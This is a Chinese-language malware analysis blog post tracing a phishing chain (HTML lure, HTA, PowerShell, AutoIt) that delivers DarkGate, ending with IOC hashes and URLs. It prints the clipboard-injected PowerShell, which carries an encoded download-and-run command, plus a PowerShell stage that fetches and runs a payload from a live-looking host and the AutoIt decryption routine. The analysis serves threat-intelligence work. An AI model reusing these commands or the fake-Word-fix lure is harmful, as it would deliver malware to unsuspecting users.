一、前言
此次分析样本来源于开源威胁情报渠道,样本多阶段链路执行,最终由二进制".a3x"(经编译的AutoIt脚本)文件释放和执行Darkgate恶意软件,其中初始恶意载荷”.html“有比较巧妙的构思。使用的部分手法相对少见,整体执行链路制作也比较精致,遂学习记录。
二、背景
此次样本暂未同源到APT背景,但是就检索到同类型样本的诱导描述、钓鱼邮件投递目标来看,是针对韩国政务或其他单位组织实体。
三、样本分析
样本执行流程如图。
3.1 第一阶段 初始恶意附件“.html”下载者
原始邮件如下,一些诱饵描述信息和“.html"附件。
运行后提示信息如下,弹出一个伪装成MS Word的背景屏幕和一条信息消息。该消息指示您单击”How to fix“按钮以查看 Word文档。
按照提示信息点击”How to fix“按钮。
再次按照提示信息点击”How to fix“按钮,触发download单击事件。
通过script代码可知,download单击事件会将恶意powershell命令复制至粘贴板。
恶意powershell代码及解码如下。
ipconfig /flushdns
$base64 = "aXBjb25maWcgL2ZsdXNoZG5zDQoNCiRDTiA9ICdjOlxcdXNlcnNcXHB1YmxpY1xcd2EuaHRhJzsNCmludm9rZS13ZWJyZXF1ZXN0IC11cmkgaHR0cHM6Ly9saW5rdG94aWMzNC5jb20vd3AtY29udGVudC90aGVtZXMvdHdlbnR5dHdlbnR5dHdvL2RhcmsuaHRhIC1vdXRmaWxlICRDTjsNCnN0YXJ0LXByb2Nlc3MgJENOOw0KDQpbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkV2l0aFBhcnRpYWxOYW1lKCJTeXN0ZW0uV2luZG93cy5Gb3JtcyIpOw0KW1N5c3RlbS5XaW5kb3dzLkZvcm1zLk1lc3NhZ2VCb3hdOjpTaG93KCJUaGUgb3BlcmF0aW9uIGNvbXBsZXRlZCBzdWNjZXNzZnVsbHksIHBsZWFzZSByZWxvYWQgdGhlIHBhZ2UiLCAiU3lzdGVtIiwgMCwgNjQpOw0KY2xlYXItaG9zdDsNCg0K";
iex([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64)));
Set-Clipboard -Value " ";
exit;
#####################其中base64解码如下
ipconfig /flushdns
$CN = 'c:\\users\\public\\wa.hta';
invoke-webrequest -uri hxxps://linktoxic34.com/wp-content/themes/twentytwentytwo/dark.hta -outfile $CN;
start-process $CN;
[System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms");
[System.Windows.Forms.MessageBox]::Show("The operation completed successfully, please reload the page", "System", 0, 64);
clear-host;
按照提示信息在powershell中单机右键就会粘贴,执行则会下载二阶段恶意载荷。
具体功能包括:
- 刷新DNS缓存
- 下载远程文件‘hxxps://linktoxic34.com/wp-content/themes/twentytwentytwo/dark.hta’,至路径'c:\users\public\wa.hta'
- 执行下载的文件,弹出提示消息框
- 清空剪贴板内容,并退出PowerShell脚本
3.2 第二阶段 “.hta”下载者
从C2下载并执行HTA文件,HTA文件即第二阶段载荷。
.hta 文件是一种 HTML 应用程序(HTML Application)的文件类型,它允许使用 HTML、JavaScript和VBScript创建一个本地的Windows应用程序。这种文件类型通常被用于创建简单的 Windows 界面或者执行一些系统管理任务。攻击者也可以有目的编写JavaScript和VBScript做恶意用途。
.hta文件如下。
此”.hta”文件包含恶意VBScript脚本,隐藏任务栏执行,构造并执行PowerShell命令从远程服务器下载并执行文件。
dogmupdate.com/rdyjyany
3.3 第三阶段 poweshell脚本下载者
“rdyjyany”文件中包含powershell脚本。
ni 'C:/zkdz/' -Type Directory -Force;
cd 'C:/zkdz/';
Invoke-WebRequest -Uri "http://dogmupdate.com/yoomzhda" -OutFile 'file.zip';
Expand-Archive -Path 'file.zip' -DestinationPath 'C:/zkdz/';
start 'AutoIt3.exe' -a 'script.a3x';
attrib +h 'C:/zkdz/'
功能概述如下。
- 创建并移动至目录: C:/zkdz/
- 下载文件: 从 http://dogmupdate.com/yoomzhda下载文件并保存为 file.zip
- 解压文件: 将 file.zip 解压至 C:/zkdz/,获得文件script.a3x
- 运行程序: 运行 AutoIt3.exe 并传递script.a3x作为参数
- 隐藏目录: 将 C:/zkdz/ 目录设置为隐藏
3.4 第四阶段 AutoIt3脚本释放执行远控载荷
解压获取文件如下,按照第三阶段中的powershell语句执行'script.a3x'
start 'AutoIt3.exe' -a 'script.a3x';
我头一次在实际环境中遇到a3x脚本的反编译,试了几个方法都不行,这里向大佬请教一下,使用了如下工具,查看和提取 AutoIT 编译可执行文件中的资源。
https://github.com/digitalsleuth/autoit-extractor/tree/v1.0.0
获取结果如图,大致功能为通过异或、按位取反等方式解密密文载荷并执行,其中解密密钥为“SFZFQODn”,密文为$data和部分单独放置的hex流。
搭建环境调试代码,解密获取代码如图。
DllStructCreate
DllCall("kernel32.dll","BOOL","VirtualProtect","ptr",DllS
DllStructSetDat
DllCall("user32.dll","int","EnumWindows"
完整调试代码如下。
#NoTrayIcon
GUICreate("amnpybqgf", 0x9e, 0x287)
Func _ENCRYPT($vvalue, $skey)
$tbyte = DllStructCreate("BYTE")
Local $s_encrypted
Local $ikeyalt = BinaryLen($skey)
For $i = 0x1 To $ikeyalt
$ikeyalt = BitXOR(BinaryMid($skey, $i, 0x1), $ikeyalt)
Next
For $i = 0x1 To BinaryLen($vvalue)
$s_encrypted &= Chr(DllStructSetData($tbyte, 0x1, BitNOT(BitXOR(BinaryMid($vvalue, $i, 0x1), $ikeyalt))))
Next
Return $s_encrypted
EndFunc ;==>_ENCRYPT
ConsoleWrite(_ENCRYPT(BinaryToString("0x8EA6A699BEB8BFA9BE89B8AFABBEAFE2E8A8B3BEAF91FEFCFDFCF297E8E3"), "SFZFQODn") & @CRLF)
ConsoleWrite(_ENCRYPT(BinaryToString("0x8EA6A689ABA6A6E2E8A1AFB8A4AFA6F9F8E4AEA6A6E8E6E888858586E8E6E89CA3B8BEBFABA69AB8A5BEAFA9BEE8E6E8BABEB8E8E68EA6A699BEB8BFA9BE8DAFBE9ABEB8E2EEBABEE3E6E8A3A4BEE8E6FEFCFDFCF2EAE6E8AEBDA5B8AEE8E6FAB2FEFAE6E8AEBDA5B8AEE0E8E6A4BFA6A6E3"), "SFZFQODn") & @CRLF)
ConsoleWrite(_ENCRYPT(BinaryToString("0x8EA6A699BEB8BFA9BE99AFBE8EABBEABE2EEBABEE6FBE6EEAEABBEABE3"), "SFZFQODn") & @CRLF)
ConsoleWrite(_ENCRYPT(BinaryToString("0x8EA6A689ABA6A6E2E8BFB9AFB8F9F8E4AEA6A6E8E6E8A3A4BEE8E6E88FA4BFA79DA3A4AEA5BDB9E8E6E8BABEB8E8E68EA6A699BEB8BFA9BE8DAFBE9ABEB8E2EEBABEE3E6E8A6BAABB8ABA7E8E6FAE3"), "SFZFQODn") & @CRLF)
包括创建结构体、调用Windows API中的VirtualProtect和EnumWindows 等函数,但是貌似反编译代码并不完整,并未对大段密文$data做解密操作。
使用相同方法尝试解密data乱码如图,可以发现密文data并不是通过这个逻辑去解密。
在另外一个同类型样本的报告说明中,解密后是DarkGate恶意软件,相信如此大费周章最后应该是释放和执行了远控,DarkGate恶意软件在网络上已有了很成熟的分析,不再过多赘述。
四、IOC
8b788345fe1a3e9070e2d2982c1f1eb2 (html)
a66cc0139c199b37a32731592fb3ac0b (header.png)
0b77babfa83bdb4443bb3c5f918545ae (qhsddxna)
404bd47f17d482e139e64d0106b8888d (script.a3x in xcdttafq)
4b653886093a209c3d86cb43d507a53f (html)
30e2442555a4224bf15bbffae5e184ee (dark.hta)
7484931957633b796f165061b0c59794 (rdyjyany)
e0173741b91cabfecd703c20241c1108 (script.a3x in yoomzhda)
318f00b609039588ce5ace3bf1f8d05f (html)
a77becccca5571c00ebc9e516fd96ce8 (1.hta)
f2e4351aa516a1f2e59ade5d9e7aa1d6 (umkglnks)
4d52ea9aa7cd3a0e820a9421d936073f (script.a3x in iinkqrwu)
hxxps://jenniferwelsh[.]com/header.png
hxxp://mylittlecabbage[.]net/qhsddxna
hxxp://mylittlecabbage[.]net/xcdttafq
hxxps://linktoxic34[.]com/wp-content/themes/twentytwentytwo/dark.hta
hxxp://dogmupdate[.]com/rdyjyany
hxxp://dogmupdate[.]com/yoomzhda
hxxps://www.rockcreekdds[.]com/wp-content/1.hta
hxxp://flexiblemaria[.]com/umkglnks
hxxp://flexiblemaria[.]com/iinkqrwu
感谢读者阅读~,很多组织没漏洞就猛钓鱼,钓鱼手法、思路愈发扩展和丰富,大家在日常处理邮件事务的时候还是要多个心眼。